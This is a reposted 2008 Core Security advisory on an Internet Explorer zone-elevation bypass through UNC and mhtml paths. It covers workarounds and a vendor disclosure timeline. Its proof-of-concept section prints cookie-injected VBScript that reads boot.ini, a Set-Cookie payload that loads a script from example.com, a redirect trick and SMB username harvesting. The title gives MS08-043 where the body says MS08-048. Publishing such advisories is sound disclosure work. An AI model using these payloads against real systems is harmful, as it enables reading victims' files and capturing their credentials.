[NT] Internet Explorer Zone Elevation Restrictions Bypass and Security Zone Restrictions Bypass (MS08-043)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Internet Explorer Zone Elevation Restrictions Bypass and Security Zone
Restrictions Bypass (MS08-043)
------------------------------------------------------------------------


SUMMARY

Internet Explorer introduces the concept of URL Security Zones, which
basically define a set of privileges for web applications (such as, for
example, accessing and/or modifying the local computer files) depending on
their level of trustworthiness.

Issues have been found in the way that security policies are applied when
a URI is specified in the UNC form:
'\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE'

* When a remote site attempts to access a local resource, Internet
Explorer will fail to enforce the Zone Elevation restrictions.
* When browsing a remote site, Internet Explorer will not apply the right
Security Zone permissions, allowing a site belonging to a less secure zone
to be treated as one belonging to a more privileged zone.

DETAILS

Vulnerable Systems:
* Internet Explorer 5 under Windows 2000/2003/XP
* Internet Explorer 6 under Windows 2000/2003/XP
* Internet Explorer 7 under Windows 2000/2003/XP
* Internet Explorer 7 under Windows Vista (when protected mode is turned
off)

Vendor Information, Solutions and Workarounds:
Microsoft has issued Security Bulletin MS08-048 to address this
vulnerability. The bulletin includes workarounds and mitigating factors.
For more information refer to the bulletin:
<http://www.microsoft.com/technet/security/bulletin/ms08-048.mspx>
http://www.microsoft.com/technet/security/bulletin/ms08-048.mspx

Workarounds communicated by the vendor include:
* Locking down the MHTML protocol handler. Below are the required registry
changes.

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet
Explorer\MAIN\FeatureControl\FEATURE_PROTOCOL_LOCKDOWN]
"explorer.exe"=dword:00000001
"iexplore.exe"=dword:00000001
"*"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\RestrictedProtocols]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\RestrictedProtocols\1]
"mhtml"="mhtml"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\RestrictedProtocols\2]
"mhtml"="mhtml"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\RestrictedProtocols\3]
"mhtml"="mhtml"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\RestrictedProtocols\4]
"mhtml"="mhtml"

* Disabling the MHTML protocol handler. To disable the protocol handler,
follow these steps:
1. Click Start and then click Run. Enter regedit.exe in the text box and
click OK.
2. Navigate to
HKEY_CLASSES_ROOT\CLSID\{05300401-BCBC-11d0-85E3-00C04FD85AB4}.
3. Right click {05300401-BCBC-11d0-85E3-00C04FD85AB4} and select
Permissions.
4. Click Advanced.
5. Deselect Allow inheritable permissions from the parent to propagate
6. Click Remove, and then click OK. Click Yes and OK on subsequent
screens.

Technical Description / Proof of Concept Code:
Internet Explorer is the most popular Internet browser in the world as it
is an integrated component of every Windows installation. It introduces
the concept of URL Security Zones, as explained in [2], which basically
define a set of privileges for web applications (such as accessing and
modifying the local computer files) depending on their level of
trustworthiness, namely:

* Local Intranet Zone: for content located on an organization's intranet.
Because the servers and information are within an organization's firewall,
it is reasonable to assign a higher level of trust to content on the
intranet.

* Trusted Sites Zone: for content located on Web sites that are considered
more reputable or trustworthy than other sites on the Internet. Assigning
a higher level of trust to these sites minimizes the number of related
authentication requests. The user adds the URLs of trusted Web sites to
this zone.

* Internet Zone: for Web sites on the Internet that do not belong to
another zone. This default setting causes Internet Explorer to prompt the
user whenever potentially unsafe content is about to be downloaded. Web
sites that are not mapped into other zones automatically fall into this
zone.

* Restricted Sites Zone: used for Web sites that contain content that can
cause (or have previously caused) problems when downloaded. This zone
causes Internet Explorer to alert users when potentially-unsafe content is
about to be downloaded, or to prevent the content from downloading. The
user adds the URLs of these un-trusted Web sites to this zone.

* Local Machine Zone: the Local Machine zone is an implicit zone for
content that exists on the local computer. The content found on the user's
computer (except for content that Internet Explorer caches on the local
system) is treated with a high level of trust.

The problem
There are issues in the manner that security policies are applied when a
URI is specified in the UNC form:
\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE


* When a remote site attempts to access a local resource, Internet
Explorer will fail to enforce the Zone Elevation restrictions.

* When browsing a remote site, Internet Explorer will fail to apply the
right Security Zone permissions, allowing a site belonging to a less
secure zone to be treated as one belonging to a more privileged zone.

Technical background
The Proof of Concepts below exploit the aforementioned issue by taking
advantage of other features of Internet Explorer. Keep in mind that:

* Besides the common web content types (such as plain http, image, audio
and video) the browser is also able to render other standardized content
types, among them, MIME HTML or mhtml. And, overriding the way IE chooses
to render a file (described in [3]) presents a way to enforce the
rendering type as MIME HTML by using the protocol handler for mhtml in the
following manner:

mhtml:[PATH_TO_RESOURCE]

The resource content begins with the MIME HTML headers describing their
contents, as shown below.

/-----------

~ From: <wherever the contents where from>
~ Subject: <whatever>
~ Date: <whatever>
~ MIME-Version: 1.0
~ Content-Type: multipart/related;
~ type="text/html";
~ boundary="----=_NextPart_000_0000_01C8457B.CB7FBF60"
~ X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.3028

~ [FILE CONTENTS]

-----------/

But, in fact, the only header lines required for the file being rendered
as mhtml, are:

/-----------

Content-Type: <file content type>

[FILE CONTENTS]

-----------/

Cookies are stored in independent text files (one for each domain) inside
the cookies folder (usually located at '\Documents and
settings\USERNAME\Cookies' in all Windows NT based implementations). The
cookie file name is structured in the following manner:

/-----------

USERNAME@xxxxxxxxxxxxxxxx[X]

-----------/

where X is an integer like 1,2,3, depending on the Internet Explorer
choice.

The cookies folder is hardcoded inside the Explorer engine as a restricted
site. You can check it by looking at the status bar when browsing this
folder with Windows Explorer.

When requesting a resource, for example, in the 'src' attribute of an HTML
'img' tag, Internet Explorer allows the usage of 'smb' URIs. So, when IE
attempts to render the following line:

/-----------

<img src="file://IP_OR_HOSTNAME/PATH_TO_RESOURCE">

-----------/

It will attempt to establish an SMB connection against the IP_OR_HOSTNAME
machine, using the port 445. If this communication is allowed, the
username and a ciphered challenge/response will be sent to the
IP_OR_HOSTNAME specified.

Internet Explorer reacts different when a requested resource is directly
accessed or when it's found after a redirection. If a page hosted in
domain A makes a reference to a resource located at domain B, the user
will be prompted to download this file from the B domain. But if the
resource is requested, for example, in the following way:

/-----------

<img src=A/resource.pl>

-----------/

And the resource.pl contents are something like:

/-----------

Status: 302 Found
Location: B/realResource

-----------/

Internet Explorer will download the B/realResource file transparently. Of
course, in both cases, the security policies assigned to each domain will
be applied.

Attach description
In order to reproduce the vulnerability, follow these steps:

Create a file called 'evilCookie.txt' in your cookies folder with the
following content:

/-----------
Content-Type: text/html

<HTML>
<BODY>
This text is <H1>HTML code</H1>inside your cookie
<SCRIPT language="VBScript">
With CreateObject("MSXML2.XMLHTTP")
.open "GET", "\\127.0.0.1\C$\boot.ini", False
.send
a = .ResponseText
End With

MsgBox a
</SCRIPT>
</BODY>
</HTML>
-----------/

Point your IE to the following URI, replacing USERNAME with the currently
logged in user name.

/-----------

mhtml:\\127.0.0.1\C$\Documents%20and%20Settings\USERNAME\Cookies\evilCookie.txt

-----------/

The contents of your boot.ini file will be displayed in a message box (or
could be programmatically sent to a remote web site).

Note that if you reference this file in a different way than using the
UNC, the privileged VB script code (which requires local machine zone
permissions to execute) won't execute. For example, accessing the file
through the following link:

/-----------

mhtml:C:\Documents%20and%20Settings\USERNAME\Cookies\evilCookie.txt

-----------/

will result in the file being opened and rendered, but the privileged code
will not be executed. That's because the folder containing the file
evilCookie.txt belongs to the Restricted Sites Zone.

Proof of concept:
In this PoC, with nothing but a click on a link to an evil page, the
contents of the 'boot.ini' file (located at the system root in all Windows
NT based implementations) will be read using VBScript.

In order to do so, local machine zone permissions are required. So, we
need a way to put our code inside the client's machine. We will do so by
storing our code in a cookie.

Let's assume the victim user points his browser to the following URL:

/-----------

http://example.com/evilPage

-----------/

and this page sets their cookies with the following contents:

/-----------

Set-Cookie: Content-Type: text/html=; path=/; expires=Monday,
26-Nov-2008 12:30:00 GMT
Set-Cookie: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
Transitional//EN">=<HTML><BODY>This text is <H1>HTML code</H1>inside
your cookie <SCRIPT
language="VBScript"
src="http://example.com/evilScript.vbs";></SCRIPT></BODY></HTML><!--;
path=/; expires=Monday, 26-Nov-2008 12:30:00 GMT

-----------/

This will result in a cookie file like:

/-----------

\Documents and settings\USERNAME\Cookies\USERNAME@xxxxxxxxxxx[X].txt

-----------/

with the following contents:

/-----------

~ Content-Type: text/html

~ example.com/
~ 1536
~ 3499433472
~ 29901218
~ 484464800
~ 29901200
~ *

~ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
~ <HTML><BODY>This text is <H1>HTML code</H1>inside your cookie
<SCRIPT language="VBScript"
src="http://example.com/evilScript.vbs";></SCRIPT></BODY></HTML><!_
~ 1536
~ 3499433472
~ 29901218
~ 484464800
~ 29901200
~ *

-----------/

The evilScript.vbs file is the one that will do the privileged job:

/-----------

~ With CreateObject("MSXML2.XMLHTTP")
~ .open "GET", "\\127.0.0.1\C$\boot.ini", False
~ .send
~ a = .ResponseText
~ End With

~ MsgBox a

-----------/

With this, we now have a MIME HTML-like formatted file stored in the
client's cookies folder.

Now, by somehow guessing the victim's USERNAME, we can make a reference to
that file as follows:

/-----------

mhtml:file://Documents and
Settings/USERNAME/Cookies/USERNAME@xxxxxxxxxxx[X].txt

-----------/

However, as the cookies folder belongs to the restricted sites zone, we
will not be able to take advantage of the privileged code referred inside
the cookie (that in the evilScript.vbs file).

Now if we point to the file exploiting the exposed vulnerability:

/-----------

mhtml:\\127.0.0.1\C$\Documents and
Settings\USERNAME\Cookies\USERNAME@xxxxxxxxxxx[X].txt

-----------/

in spite the fact that the cookie's folder is hardcoded inside the
Restricted Security Zone, the file contents will be rendered as if they
belong to the local Intranet Security Zone, and the local boot.ini file
contents will be displayed in a message box.

Minor issues
As this file is at a different server than example, IE will prompt the
user to accept a download of the file from 127.0.0.1. In order to avoid
such prompting, we will point the file through a redirection:

/-----------

http://example.com/redirectToCookie

-----------/

And the 'redirectToCookie' file would respond with:

/-----------

Status: 302 Found
Content-type: text/html
Location: mhtml:\\127.0.0.1\C$\Documents and
Settings\USERNAME\Cookies\USERNAME@xxxxxxxxxxx[X].txt

-----------/

To get the correct username, we can take advantage of other mentioned
characteristics of Internet Explorer. As the browser is able to make SMB
requests against a webserver, if we include inside the main page (the one
which sets the cookies) some references to non-existent resources in the
example.com site, the client will attempt to establish an SMB connection
against it, from where the username (among other useful data, such as the
ciphered challenge/response) can be extracted. With this, we can
dynamically create a custom redirectToCookie file with the correct
information. Of course, the victim's machine must be able to establish
outgoing connections to the port 445 to do so.

Proof of concept files:
This proof of concept uses three files to work:
* 'PoC.pl': a PERL script which will set the cookies and shot the SMB
requests.
* 'snifSMB.pl': this script must be running in the example server. It
will be listening for SMB requests, and when they occur, it will create a
set of redirectToCookie files, attempting to cover all possibilities.
* 'PoC.htm': this page will attempt to load the cookies through the
dynamically generated redirect files.
* 'evilScript.vbs': a script file referenced by the webpage created
inside the cookie, containing the code to be executed.

These files can be downloaded from
<http://www.coresecurity.com/files/attachments/CORE-2008-0103-PoC.zip>
http://www.coresecurity.com/files/attachments/CORE-2008-0103-PoC.zip In
order to make it work:

* Configure a web server supporting PERL scripts.
* Take all of these files and put them together into the web server.
* Run 'snifSMB.pl' passing your domain as parameter in a shell, for
example:

/-----------

perl snifSMB.pl example.com

-----------/

Modify 'PoC.pl' to make it set the cookie referencing the script
'example.com/evilScript.vbs ' to your own domain/path. Also replace the
variable $cookieDomain in snifSMB.pl with the name of the domain from
where the cookie is set (for example set "evil" for evil.com).

~From another computer, point your IE to 'yoursite/PoC.pl'. After five
seconds, it will automatically redirect to 'yoursite/PoC.htm' and your
'boot.ini' file should be displayed.

Report Timeline:
2008-01-09: Core Security Technologies notifies Microsoft that a
vulnerability has been found in Internet Explorer. Core sends an advisory
draft with technical details and PoC files, and announces its initial plan
to publish the content on February 11th.
2008-01-09: Vendor acknowledges notification.
2008-01-09: Vendor states that it's currently investigating the reported
issue, and asks Core what it plans to publish.
2008-01-10: Core responds it plans to publish the submitted advisory, and
tells the vendor that it's willing to discuss the publication date.
2008-01-11: Vendor states that it's investigating the issue and trying to
identify which platforms are affected. Vendor was unable to reproduce the
issue on Vista using IE7.
2008-01-11: Core responds that the problem was tested under XP SP2,
Windows 2000 and 2003, and that Vista seems vulnerable only if Protected
Mode under IE7 is OFF.
2008-01-11: Vendor reports that it is working through all the affected
platforms, and that it will forward the details of the complete list.
2008-01-21: Vendor announces that the investigation has been completed.
The platforms identified as affected are Internet Explorer
5.01 Service Pack 4, Internet Explorer 6 on W2k3, Internet Explorer 6 on
Windows XP Service Pack2, Internet Explorer 7 on Windows XP service Pack
2. The issue is scheduled to be addressed in the April 08 Internet
Explorer Security bulletin. Vendor asks Core to delay the publication of
the advisory until a fix is released.
2008-01-22: Core responds that it intends to publish the advisory as
"coordinated release" when fixed versions are made available. However
external circumstances (e.g. the bug being exploited in the wild) may
force an earlier release. Core confirms that it plans to release the Proof
of Concept code sent to Microsoft with the advisory draft.
2008-02-29: Core asks for updated information concerning this issue.
2008-03-04: Vendor states that there are issues discovered with the
package that the Outlook Express team is investigating that could impact
the release date.
2008-03-04: Core awaits updated information.
2008-03-11: Vendor communicates that an April release is not looking
likely.
2008-03-13: Core informs the vendor that the Beta release of IE 8 is also
vulnerable, and asks for a clarification about the mention of the Outlook
Express team.
2008-03-13: Vendor responds that the group that manages Outlook
Express/Windows Mail is responsible for addressing this issue and owns the
code. Vendor states that it is not likely that the issue will be addressed
in April, and that the next ship date would be June.
2008-04-01: Core requests detailed information about the nature of the
fix, and why it is taking so long. In particular, Core inquires about the
root cause of the problem; any potential workarounds/mitigation
mechanisms; whether there is a way to exploit this problem with Protected
Mode turned ON on Vista; and why May is not a possible ship date.
2008-04-01: Vendor responds that the issue is planned to be addressed in a
June security update; that locking down the mhtml protocol and disabling
the handler is a possible workaround; that the involved product team
performs in-depth testing every two months and that given the impact of
security issues they prefer to take an in-depth approach (this is why it
is not possible to release the fix in May).
2008-05-21: Vendor informs Core that the issue will be addressed in a June
Outlook Express bulletin.
2008-05-21: Core requests a clarification about the technical rationale
for releasing the information as an Outlook Express bulletin and the
corresponding patches associated to Outlook Express rather than Internet
Explorer.
2008-05-21: Vendor responds that the code where the root cause was found
is owned and shipped by the Outlook Express/Windows Mail team; and that
Internet Explorer is just the attack vector.
2008-05-21: Core requests further technical clarification, since
categorizing this issue as an "Outlook Express" problem may be misleading.
Core requests a technical assessment of the concept that Internet Explorer
is just an attack vector in this case.
2008-06-02: Vendor informs that the necessary packages for Windows
2000 were not built; and that this delay will push the release plan back
to July.
2008-06-02: Core again requests technical information about the nature and
root cause of the bug. Given that Microsoft has decided not to release the
readily available patches for Windows XP, 2003 and Vista, Core decides to
re-schedule the publication of its security advisory CORE-2008-0103 to
June 11th, 2008.
2008-06-02: Vendor responds that the issue is in mhtml which is a
component of Outlook/Windows mail; that Internet Explorer is a vector and
not where the issue lies; that Microsoft only releases a fix when all
platforms have been addressed, since the current fix is missing for
Windows 2000, releasing it would put out customers on that platform at
risk.
2008-06-02: Core replies that the vendor's response is still missing a
technical description and sound analysis of the problem. In particular,
mhtml is one component used in the reported attack scenario, but the fact
that scripting code can be inserted in a cookie file and the fact that a
redirect to an UNC path pointing at the localhost filesystem makes IE
transition to the Local Security Zone may or may not be a security
weakness and may or may not be related to mhtml. Core also states that by
delaying publication of the currently available patches to users that
could fix the problem immediately, the vendor is penalizing them and
maintaining them at risk unnecessarily.
2008-06-03: Vendor requests details of the claim that the issue can be
reproduced without OE/Mail being installed. Vendor proposes to arrange a
conference call to discuss the technical issue.
2008-06-03: Core responds that in fact the issue can be reproduced after
OE has been un-installed; that Core prefers to continue the discussion by
email, to keep the advisories on the loop and to properly document
communications with the vendor. Core requests a response to the proposal
that Microsoft releases the patches that are ready in the June update and
the remaining ones for Windows 2000 in July.
2008-06-04: Vendor states that the product team has verified the mhtml
protocol (inetcomm.dll) as the root cause, and has verified this by
deleting inetcomm.dll, which has resulted in being unable to reproduce the
issue. Due to the mhtml protocol being owned by Outlook/Windows Mail, they
are responsible for the fix. Vendor states that it will not release the
current patches and expose their Windows 2000 customers, unless it sees
active exploitation of this issue.
2008-06-05: Core responds that a better strategy to protect customers is
to release the official patches that are readily available and to provide
specific guidance and workarounds for use on vulnerable systems for which
there are no official patches ready; and that disabling the mhtml protocol
handler seems to be the most effective workaround.
2008-07-08: Vendor requests a PGP key to send a fix to be tested by Core.
2008-07-08: Core provides the key. Core states that Microsoft did not
release patches for any of platforms vulnerable to this problem, although
the July patch release date has already passed (which was the previously
planned date for publication indicated by MSRC on their email from June
2nd). Given the criticality of the bug, the multiple disconnections in the
communications and Microsoft's repeated failure to meet its own patch
release dates, Core is considering to proceed with the publication of the
advisory under "user release" mode.
2008-07-08: Vendor communicates that the development team had recently
completed developing the fix; that although July was originally indicated
as a possible release window, the development team concluded that extra
testing would be necessary, preventing a July release; vendor reports that
if further issues are identified during the test process, that may impact
the tentative August release date.
2008-07-08: Core discusses the fact that passing from the Restricted Sites
zone or Internet zone to Intranet Zone or LMZ using a UNC path should not
be allowed if the same behavior is not allowed for the non-UNC equivalent
URI.
2008-08-08: Core requests updated information about the release date of
fixes, in particular if fixes will be issued in the August security
update.
2008-08-12: Microsoft Security Bulletin MS08-048 is released.
2008-08-13: Advisory CORE-2008-0103 is published.

References:
[1] Microsoft Security Bulletin MS08-048
<http://www.microsoft.com/technet/security/bulletin/ms08-048.mspx>
http://www.microsoft.com/technet/security/bulletin/ms08-048.mspx
[2] <http://msdn2.microsoft.com/en-us/library/ms537183.aspx>
http://msdn2.microsoft.com/en-us/library/ms537183.aspx
[3] <http://msdn2.microsoft.com/en-us/library/ms775147.aspx>
http://msdn2.microsoft.com/en-us/library/ms775147.aspx

CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name= CVE-2008-1448>
CVE-2008-1448


ADDITIONAL INFORMATION

The information has been provided by <mailto:advisories@xxxxxxxxxxxxxxxx>
CORE Security Technologies Advisories.
The original article can be found at:
<http://www.coresecurity.com/content/internet-explorer-zone-elevation>
http://www.coresecurity.com/content/internet-explorer-zone-elevation



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages